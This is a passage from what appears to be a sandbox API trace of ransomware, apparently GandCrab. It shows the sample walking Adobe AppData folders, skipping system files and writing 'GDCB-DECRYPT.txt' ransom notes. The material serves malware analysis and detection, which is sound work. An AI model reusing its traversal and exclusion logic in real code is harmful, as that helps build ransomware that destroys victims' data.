Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0169.945] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.945] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 117 [0169.945] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 117 [0169.945] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 117 [0169.945] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 117 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.945] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.945] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.945] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0169.945] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.945] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.945] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.945] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color" [0169.945] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\" [0169.945] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.945] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.946] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\") returned 99 [0169.946] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*" [0169.946] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4918 [0169.946] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.946] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.946] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.946] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.946] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.946] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0169.946] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0169.946] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0169.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 113 [0169.946] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.946] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.946] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.946] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.947] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0169.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 115 [0169.947] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.947] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.947] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0169.947] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0169.947] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0169.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 107 [0169.947] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.947] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.947] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.947] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 116 [0169.947] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.948] GetLastError () returned 0x50 [0169.948] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.949] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\") returned 99 [0169.949] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*" [0169.949] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a49d8 [0169.949] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.949] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.949] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.949] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.949] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.949] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0169.949] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0169.949] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0169.949] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.949] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 113 [0169.949] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 113 [0169.949] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.949] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.949] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.949] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.949] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0169.949] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.949] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 115 [0169.950] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 115 [0169.950] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 115 [0169.950] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 115 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.950] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.950] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.950] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.950] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0169.950] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0169.950] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0169.950] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0169.950] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.950] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.950] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 108 [0169.950] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0169.950] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4d18 [0169.951] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.951] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.951] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.951] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.951] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.951] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.951] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.951] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0169.951] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 124 [0169.951] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.951] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.951] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0169.951] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0169.951] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0169.951] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 118 [0169.951] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0169.951] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.951] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0169.951] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0169.951] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0169.951] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 117 [0169.951] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0169.951] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.951] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.951] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.951] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 125 [0169.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.952] GetLastError () returned 0x50 [0169.952] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.952] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 108 [0169.952] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0169.952] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4d18 [0169.952] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.952] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.952] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.952] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.952] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.952] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.952] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.952] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0169.952] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.953] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 124 [0169.953] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 124 [0169.953] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 124 [0169.953] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 124 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.953] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.953] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.953] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.953] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0169.953] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0169.953] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0169.953] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.953] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 118 [0169.953] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 118 [0169.953] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.953] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.953] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0169.953] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0169.953] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application 